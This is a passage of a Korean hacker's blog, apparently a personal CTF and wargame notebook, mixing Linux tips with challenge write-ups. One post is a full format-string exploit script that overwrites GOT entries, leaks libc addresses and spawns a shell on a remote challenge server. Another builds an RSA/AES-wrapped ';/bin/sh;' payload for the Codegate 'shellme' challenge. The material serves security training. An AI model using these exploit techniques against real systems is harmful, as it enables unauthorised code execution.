samsung-updates.com (최신 펌웨어 다운로드)

opensource.samsung.com (구버전 펌웨어 오픈소스로 공개. 최신 펌웨어랑 그렇게 많은 차이가 나지 않음.)

 

Posted by windowhan
,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

scp명령어

Tip 2015. 12. 27. 15:52

 scp 명령어를 이용한 파일 복사 및 전송

 

  ssh에서 제공되는 scp 명령어를 통해 로컬서버↔원격서버 로의 파일을 간단하게 전송할 수 있다.

 

 1. 사용방법
    1) 원격 서버 → 로컬 서버로 파일 전송
        # scp [옵션] [계정명]@[원격지IP주소]:[원본 경로 및 파일] [전송받을 위치]


        예제1) IP 111.222.333.444 서버의 abc라는 계정으로 /home/abc/index.html 파일을 로컬서버 /home/me/ 디렉토리에 전송 받기

                    # scp abc@111.222.333.444:/home/abc/index.html /home/me/

 

    2) 로컬 서버 → 원격 서버로 파일 전송
        # scp [옵션] [원본 경로 및 파일] [계정명]@[원격지IP주소]:[전송할 경로]


        예제2) 로컬서버 /home/me/wow.html 파일을 IP 111.222.333.444 서버의 /home/abc/ 디렉토리에 전송 하기
                   # scp /home/me/wow.html abc@111.222.333.444:/home/abc/

 

    3) ssh포트를 기본 22번으로 사용하고 있지 않는 서버로의 전송


        예제3) 2222번인 SSH포트를 사용한다면 아래와 같이 –P 옵션과 포트번호를 넣어준다.
                  # scp –P 2222 abc@111.222.333.444:/home/abc/index.html /home/me/
                  # scp –P 2222 /home/me/wow.html abc@111.222.333.444:/home/abc/

 

        [주의사항]
        옵션중에 –P와 –p가 있으니 대/소문자 확인을 하여야 한다.
        -P : 포트번호를 지정함
        -p : 원본파일 수정/사용시간 및 권한을 유지함
        -r : 하위 디렉토리 및 파일 모두 복사함

 

'Tip' 카테고리의 다른 글

freebsd memory map  (0) 2015.02.16
gdb로 fork한 프로세스 디버깅  (0) 2014.10.26
core 파일 생성  (0) 2014.07.05
[Linux BOF] RTL, ROP시 함수를 사용할 때  (0) 2014.04.16
[webhacking] 웹해킹할때 race condition  (0) 2014.04.05
Posted by windowhan
,

pwnable.kr otp

2015. 12. 27. 00:19

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

fseek 옵션

일기장 2015. 11. 18. 21:55

SEEK_SET

is the beginning of the file; the value is 0.

SEEK_CUR

is the current file offset; the value is 1.

SEEK_END 

is the end of the file; the value is 2.

Posted by windowhan
,

defcamp r100, r200

2015. 11. 13. 22:45

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

ASIS 2015 fake

CTF 2015. 11. 13. 22:30



이상한 연산결과를 통해서


v5부터 v9까지 연속해서 출력해준다.

그냥 저식대로 z3에 넣어주면됨.

ASIS ctf 키값 형식이 ASIS{~~} 니까 앞의 글자 5개는 스택에 {SISA로 들어가게 될것이다.

따라서

>>> s.add((((0x3CC6C7B7 * v2)) & 0x000000ffffffffff) == int("{SISA".encode('hex'),16))

>>> s.model()

Traceback (most recent call last):

  File "<stdin>", line 1, in <module>

  File "/usr/lib/python2.7/dist-packages/z3.py", line 5952, in model

    raise Z3Exception("model is not available")

z3types.Z3Exception: model is not available

>>> s.check()

sat

>>> s.model()

[v2 = 25313971399]




'CTF' 카테고리의 다른 글

2014 codegate junior shellme  (0) 2015.04.05
2015 bostonkeyparty havard  (0) 2015.03.10
2015 nullcon 400  (0) 2015.01.28
2015 Nullcon exploitation 300  (0) 2015.01.19
[HISCHALL 2013] BAAASIC GNIREENIGNE  (0) 2014.02.25
Posted by windowhan
,

from zio import *

from time import *

import windowhan

import re


fsb_value = []


def fsbDump(sock,handler,count,spNum):

recv_data = ""

for index in range(1,count+1):

recv_data = handler(sock,index)

if recv_data.find('(nil)')>-1:

fsb_value.append("0x00000000")

else:

fsb_value.append("{0:#0{1}x}".format(int(re.findall("0[xX][0-9a-fA-F]+",recv_data)[0],16),10))


output = ""

string_output = ""

for i in range(0,len(fsb_value),spNum):

output = "[%%%s$p] " % str(i+1)

string_output = ""

for j in range(i,i+spNum):

try:

output += fsb_value[j] + " "

except:

print fsb_value

for k in range(0,len(fsb_value[j].replace("0x","")),2):

if int(fsb_value[j].replace("0x","")[k:k+2],16)>0x20 and int(fsb_value[j].replace("0x","")[k:k+2],16)<0x7f:

string_output += chr(int(fsb_value[j].replace("0x","")[k:k+2],16)) + "."

else:

string_output += ".."


print output + " | " + string_output

return fsb_value


def do_dump(sock,index):

recv_data = ""

sock.write('3' + '\n')

sock.write('aaaa' + '\n')

sock.write('2' + '\n')

sock.write('1000' + '\n')

sock.read_until("Description:")

sock.write('%' + str(index) + '$p ' + '\n')

sock.read_until(">>>")

sock.write('4' + '\n')

recv_data = sock.read_until("Menu:")

return recv_data


def create_contacts(sock,name,phone,descLen,desc):

sock.write("1" + "\n")

sock.read_until("Name:")

sock.write(name + "\n")

sock.read_until("Phone No:")

sock.write(phone + "\n")

sock.read_until("of description:")

sock.write(descLen + "\n")

sock.read_until("Enter description:")

sock.write(desc + "\n")

sock.read_until(">>>")


def remove_contacts(sock,name):

sock.write("2" + "\n")

sock.read_until("remove?")

sock.write(name + "\n")

sock.read_until(">>>")


def edit_desc_contacts(sock,name,newDesc):

sock.write("3" + "\n")

sock.read_until("change?")

sock.write(name + "\n")

sock.read_until(">>>")

sock.write("2" + "\n")

sock.read_until("Length of description:") 

sock.write("3000" + "\n")

sock.read_until("Description:")

sock.write(newDesc + "\n")

sock.read_until(">>>")


def display_contacts(sock):

sock.write("4" + "\n")

recv_data = ""

recv_data = sock.read_until(">>>")

return recv_data.split("Description:")[1].split("Menu:")[0]


def exit_contacts(sock):

sock.write("5" + "\n")



s = zio(('54.208.16.165',2555))

create_contacts(s,'aaaa','123','1243','123')

# overwrite test

"""

s.write('3' + '\n')

s.write('aaaa' + '\n')

s.write('2' + '\n')

s.write('1313' + '\n')

s.read_until('Description:')

s.write('%24929c%6$hn' + '\n')

s.read_until(">>>")

s.write('4' + '\n')

s.read_until(">>>")

"""


dump_data = fsbDump(s,do_dump,10,5)

stack_base = int(dump_data[5],16)&0xffff0000

target_pointer_base1 = (int(dump_data[5],16)&0xffff) + 136

target_pointer_base2 = (int(dump_data[5],16)&0xffff) + 120


# GOT Overwrite

# First Contact

edit_desc_contacts(s,'aaaa','%' + str(target_pointer_base1) + 'c%6$hn')

display_contacts(s)

edit_desc_contacts(s,'aaaa','%45076c%18$hn')

display_contacts(s)

edit_desc_contacts(s,'aaaa','%' + str(target_pointer_base1+2) + 'c%6$hn')

display_contacts(s)

edit_desc_contacts(s,'aaaa','%2052c%18$hn')

display_contacts(s)

remove_contacts(s,'aaaa')


# Second Contact

create_contacts(s,'bbbb','123','1231','%' + str(target_pointer_base2) + 'c%6$hn')

display_contacts(s)

edit_desc_contacts(s,'bbbb','%45078c%18$hn')

display_contacts(s)

edit_desc_contacts(s,'bbbb','%' + str(target_pointer_base2+2) + 'c%6$hn')

display_contacts(s)

edit_desc_contacts(s,'bbbb','%2052c%18$hn')

display_contacts(s)

remove_contacts(s,'bbbb')


# leak free@got 

create_contacts(s,'tttt','123','1231','%52$p')

display_contacts(s)

edit_desc_contacts(s,'tttt','%52$s')

leak_data = display_contacts(s)

windowhan.dump(leak_data)

free_got = leak_data[1:5]

print "[+] free_got : 0x%s" % free_got[::-1].encode('hex')

remove_contacts(s,'tttt')


offset_system = 0x0003fcd0

offset_dup2 = 0x000d9dd0

offset_read = 0x000d9490

offset_write = 0x000d9510

offset_binsh = 0x15da84

offset_free = 0x000760c0


offset = offset_free - offset_system

real_system = int("0x%s" % free_got[::-1].encode('hex'),16) - offset

print "[+] system address : %s" % hex(real_system)


print '[+] %' + str((real_system&0xffff0000)/0x10000)  + 'c%48$hn'

print '[+] %' + str(real_system&0xffff) + 'c%52$hn'

create_contacts(s,'ffff','123','1243','%' + str((real_system&0xffff0000)/0x10000)  + 'c%48$hn')

create_contacts(s,'gggg','123','1233','%' + str(real_system&0xffff) + 'c%52$hn')

display_contacts(s)

print "[+] system address : %s" % hex(real_system)

print "[+] free_got : 0x%s" % free_got[::-1].encode('hex')

create_contacts(s,'/bin/sh','123','1231','/bin/sh')

s.write('2' + '\n')

s.read_until("remove?")

s.write('/bin/sh' + '\n')

s.interact()






Posted by windowhan
,

rsa_calculator

Wargame/pwnable.kr 2015. 6. 27. 14:07

보던중 딱히 취약점은 보이지 않는다.


보니까 어디서 취약점이 터지지 이러고잇엇는데 마침 format string bug가 일어날 것같은 포스를 풍기는 곳을 발견!

그래서 %p%p를 encode한다음에 decode했는데 취약점이 터졌다.

그런 다음에 스택에 실행권한을 보았다.


스택에 모든 권한이있으므로 이걸 이용해서 FSB로 공부하면되겠다.

EXPLOIT 코드는 기말고사 공부 끝나고올려야지 흐하핳핳 bob붙고 기분이좋네


'Wargame > pwnable.kr' 카테고리의 다른 글

pwnable.kr otp  (0) 2015.12.27
myproxy  (0) 2015.02.28
pwnable.kr dragon  (0) 2015.02.08
Posted by windowhan
,

2014 codegate junior shellme

CTF 2015. 4. 5. 13:42

root@ubuntu:~/k# cat a.py

import rsa,subprocess

import b,c

import hashlib

import windowhan

from Crypto.PublicKey import RSA

from Crypto.Cipher import PKCS1_OAEP, AES

from struct import pack

p = lambda x : pack('<L', x)



aes_key = "2"*16

aes_iv = "\x01"*16

data = "abcdddgs" + "\x00"*8

aes_mode = AES.MODE_CBC

aes_= AES.new(aes_key,aes_mode,IV=aes_iv)

aes_data = aes_.encrypt(data)


message = "\x1f\x8b\x08\x00"

message += aes_key

message += hashlib.sha256(aes_data + "\x00"*(0x700-len(aes_data))).digest()

message += "a" *11

message += ";/bin/sh;"

message += p(0x4017df)


encrypt_data = ""

rsa = c


encrypt_data = rsa.encrypt(message)

message = encrypt_data + aes_data + "\x00"*(0x700-len(aes_data))

print message + "a"*(1900-len(message))



일단 저기서 요구하는대로 조건을 맞춰서 모두 통과시켰다.
그리고 해매던중

이런 부분을 보았고,


이부분을 보았다.


plaintext에 chipertext를 복호화한게 들어가고 free해주는 과정에서 취약점이 발생할거같았다.

시도하던 중 BIO_Free 함수에서 SIGSEGV가 나길래 gdb로 디버깅해보았고,


call %rax라는 구문과 rdi를 내맘대로 조작할 수 있어서 풀었다.

RSA pkcs #1  때문에 시간을 많이잡아먹었다




'CTF' 카테고리의 다른 글

ASIS 2015 fake  (0) 2015.11.13
2015 bostonkeyparty havard  (0) 2015.03.10
2015 nullcon 400  (0) 2015.01.28
2015 Nullcon exploitation 300  (0) 2015.01.19
[HISCHALL 2013] BAAASIC GNIREENIGNE  (0) 2014.02.25
Posted by windowhan
,

2015 bostonkeyparty havard

2015. 3. 10. 00:41

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

myproxy

2015. 2. 28. 02:59

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

freebsd memory map

Tip 2015. 2. 16. 23:11


procstat -v pid

'Tip' 카테고리의 다른 글

scp명령어  (0) 2015.12.27
gdb로 fork한 프로세스 디버깅  (0) 2014.10.26
core 파일 생성  (0) 2014.07.05
[Linux BOF] RTL, ROP시 함수를 사용할 때  (0) 2014.04.16
[webhacking] 웹해킹할때 race condition  (0) 2014.04.05
Posted by windowhan
,

pwnable.kr dragon

2015. 2. 8. 17:43

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2015 nullcon 400

2015. 1. 28. 12:59

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2015 Nullcon exploitation 300

2015. 1. 19. 17:57

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

fusion level02 (exploit only)

2015. 1. 5. 23:32

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

set follow-fork-mode child


'Tip' 카테고리의 다른 글

scp명령어  (0) 2015.12.27
freebsd memory map  (0) 2015.02.16
core 파일 생성  (0) 2014.07.05
[Linux BOF] RTL, ROP시 함수를 사용할 때  (0) 2014.04.16
[webhacking] 웹해킹할때 race condition  (0) 2014.04.05
Posted by windowhan
,

core 파일 생성

Tip 2014. 7. 5. 21:34

segmentation fault 뜰때, 원인을 분석할 수 있게 core파일을 생성시킬 수 있는 옵션이다.

 ulimit -c 10000

'Tip' 카테고리의 다른 글

freebsd memory map  (0) 2015.02.16
gdb로 fork한 프로세스 디버깅  (0) 2014.10.26
[Linux BOF] RTL, ROP시 함수를 사용할 때  (0) 2014.04.16
[webhacking] 웹해킹할때 race condition  (0) 2014.04.05
[GDB] 스택 값 수정하기  (0) 2014.03.06
Posted by windowhan
,

RTL이나 ROP할때 특히나 stdin같이 크기가 제한적인 부분에서는 쓰려는 함수 내에서 sub esp 로 인해서 esp가 권한이없는 부분을 가리키는것을 주의해야한다.

LOB 페도라 풀고있는데 system함수 쓰다가 암걸릴뻔했네요 ㅜ

Posted by windowhan
,